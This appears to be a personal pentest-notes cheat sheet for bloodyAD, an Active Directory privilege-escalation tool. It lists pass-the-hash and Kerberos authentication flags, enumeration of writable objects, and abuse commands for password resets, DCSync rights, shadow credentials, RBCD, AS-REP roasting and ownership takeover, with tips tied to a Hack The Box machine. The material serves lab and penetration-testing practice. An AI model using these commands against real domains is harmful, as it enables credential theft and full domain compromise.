🛠️ BloodyAD

Installation

pipx install bloodyAD

Common Commands

bloodyAD is an LDAP-first AD privilege-escalation framework: everything is a get (read), set/add (write), or remove against directory objects. Where BloodHound maps rights, bloodyAD uses them.

Authentication

Flag	Description
-u <user> -p '<pass>'	Plain credentials. -p ':<nt_hash>' for pass-the-hash.
-k ccache=<file>.ccache	Kerberos auth from a ccache (pair with export KRB5CCNAME=<file>.ccache) — the way in when you have a TGT but no password/hash.
-d <domain> --host <dc_fqdn>	Domain and the DC to talk to; use the FQDN, not the IP, for anything Kerberos.
--dc-ip <ip>	DC address when the hostname can’t be resolved by DNS.

Enumeration

Command	Description
bloodyAD ... get writable	The headline command — every object the current identity can write to, and which right on each.
bloodyAD ... get writable --right WRITE	Narrow the same listing to plain write rights (drops the noisy self-referential entries).
bloodyAD ... get object '<dn_or_sam>' --attr '<attr>'	Read specific attributes of one object.
bloodyAD ... get search --base '<dn>' --filter '<ldap_filter>' --attr '<attrs>'	Raw LDAP search — how you list CN=Deleted Objects or any container BloodHound skips.
bloodyAD ... get children '<dn>'	List an object’s child objects (handy for walking OUs).

Abuse Primitives

Command	Description
bloodyAD ... set restore '<deleted_object_dn>'	Reanimate a tombstoned object — Active Directory - Deleted Object Restoration.
bloodyAD ... add badSuccessor '<dmsa>' -t '<victim_dn>' --ou '<writable_ou_dn>'	Create a dMSA superseding a victim account and recover its NT hash — Active Directory - BadSuccessor (dMSA Abuse).
bloodyAD ... set password '<target>' '<new_pass>'	Reset a password using ForceChangePassword/GenericAll — Active Directory - ACL Abuse (GenericAll & ForceChangePassword).
bloodyAD ... add groupMember '<group>' '<member>'	Add a principal to a group.
bloodyAD ... set owner '<target>' '<new_owner>'	Take ownership of an object — Active Directory - Ownership Abuse (WriteOwner & WriteDacl).
bloodyAD ... add genericAll '<target_dn>' '<principal>'	Write a full-control ACE onto a target’s DACL (the follow-up to set owner).
bloodyAD ... add shadowCredentials '<target>'	Active Directory - Shadow Credentials Attack via msDS-KeyCredentialLink.
bloodyAD ... add rbcd '<target>' '<attacker_computer>$'	Active Directory - Resource-Based Constrained Delegation (RBCD) Attack.
bloodyAD ... add uac '<target>' -f DONT_REQ_PREAUTH	Flip userAccountControl bits — e.g. force a target into Active Directory - AS-REP Roasting.
bloodyAD ... add dcsync '<principal>'	Grant replication rights to a principal — Active Directory - DCSync Attack.

Tips & Tricks

• Run get writable the moment any new credential is obtained. It is the fastest triage step in an AD box and it catches paths the graph tools miss entirely — on HTB Machine - Checkpoint bloodhound-python collection failed outright, and get writable was what revealed write access to the AD Recycle Bin.
• Everything works over Kerberos: grab a TGT (e.g. Rubeus.exe tgtdeleg from a shell), convert with impacket-ticketConverter, then -k ccache=<file>.ccache. That covers the common case of holding a session but no password or hash. Sync the clock first (sudo ntpdate -b <domain>) or every call dies with KRB_AP_ERR_SKEW.
• DNs of deleted objects contain a literal \0ADEL:<guid> marker — keep it verbatim inside single quotes.
• Write operations are real directory changes with no automatic rollback (unlike impacket-dacledit, which drops a .bak) — note what you changed so it can be reverted.

Related Usage

File	Created
HTB Machine - Checkpoint	Thursday, September 3rd 2026, 9:04:16 pm

---

References: bloodyAD GitHub